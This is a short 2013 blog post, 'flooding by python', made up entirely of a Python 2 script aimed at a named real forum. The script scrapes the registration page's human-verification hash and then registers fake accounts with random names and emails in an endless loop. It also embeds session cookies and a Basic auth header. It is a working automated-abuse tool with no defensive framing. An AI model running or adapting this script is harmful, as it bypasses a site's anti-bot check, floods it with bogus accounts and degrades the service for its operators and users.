Thursday 6 June 2013

flooding by python

import httplib
import urllib
import re
from random import randrange
def step1():
    global hiddenkey
    params1 = urllib.urlencode({'s':'',
            'securitytoken': 'guest',
            'do': 'register',
            'url':'http://vnhfamily.us/forum/',
            'month':'',
            'day':'',
            'year':'',
            'who':'adult',
            'agree':'1'})

    headers1 =  ({"Host": "vnhfamily.us",
                    "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0",
                    "Referer": "http://vnhfamily.us/forum/register.php?do=signup",
                    "Cookie": "PHPSESSID=a4fc2f131455eae8900afa8f3ea289bd; IDstack=%2C3053%2C%2C3054%2C%2C3052",
                    "Authorization": "Basic Vk5IOlZOSA==",
                    "Connection": "keep-alive",
                    "Content-type": "application/x-www-form-urlencoded",
                    "Content-Length": "111"})

    conn1 = httplib.HTTPConnection("www.vnhfamily.us",80)
    conn1.request("POST", "/forum/register.php?do=register", params1, headers1)
    response1 = conn1.getresponse()    
    print response1.status, response1.reason
    data = response1.read()
    hiddenkey = re.search('name="humanverify\[hash\]" value="(.*)" />',data)
    print "Get humanverify is Ok"
    print "Key: %s" % (hiddenkey.group(1))
    conn1.close()

def step2():
    i = randrange(9999)
    user = 'parkdream%s' % (i)
    email = 'idesign199%s@gmail.com' % (i)
    c_email = 'idesign199%s@gmail.com' % (i)

    print user,"\n",email

    params = urllib.urlencode({'s':'',
            'securitytoken': 'guest',
            'do': 'addmember',
            'url':'http://vnhfamily.us/forum/index.php',
            'agree':'1',
            'password_md5':'1f5d020ac0ce982f5846897871b6b5ec',
            'passwordconfirm_md5':'1f5d020ac0ce982f5846897871b6b5ec',
            'day':'0',
            'month':'0',
            'year':'0',
            'username':'%s'%(user),
            'password':'',
            'passwordconfirm':'',
            'email':'%s'%(email),
            'emailconfirm':'%s'%(c_email),
            'humanverify[input]':'2',
            'humanverify[hash]':'%s'%(hiddenkey.group(1)),
            'referrername':'',
            'timezoneoffset':'7',
            'dst':'2',
            'options[adminemail]':'1'})

    headers =  ({
                    "Host": "vnhfamily.us",
                    "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0",
                    "Referer": "http://vnhfamily.us/forum/register.php?do=register",
                    "Cookie": "PHPSESSID=a4fc2f131455eae8900afa8f3ea289bd; IDstack=%2C3053%2C%2C3054%2C%2C3052%2C%2C3055%2C; bblastvisit=1370460727; bblastactivity=0",
                    "Authorization": "Basic Vk5IOlZOSA==",
                    "Connection": "keep-alive",
                    "Content-type": "application/x-www-form-urlencoded",
                    "Content-Length": "470"})

    conn = httplib.HTTPConnection("www.vnhfamily.us",80)
    conn.request("POST", "/forum/register.php?do=addmember", params, headers)
    response = conn.getresponse()
    print response.status, response.reason
    data = response.read()
    print "Ok Song"
    conn.close()

if __name__ == "__main__":
    while True:
        step1()
        step2()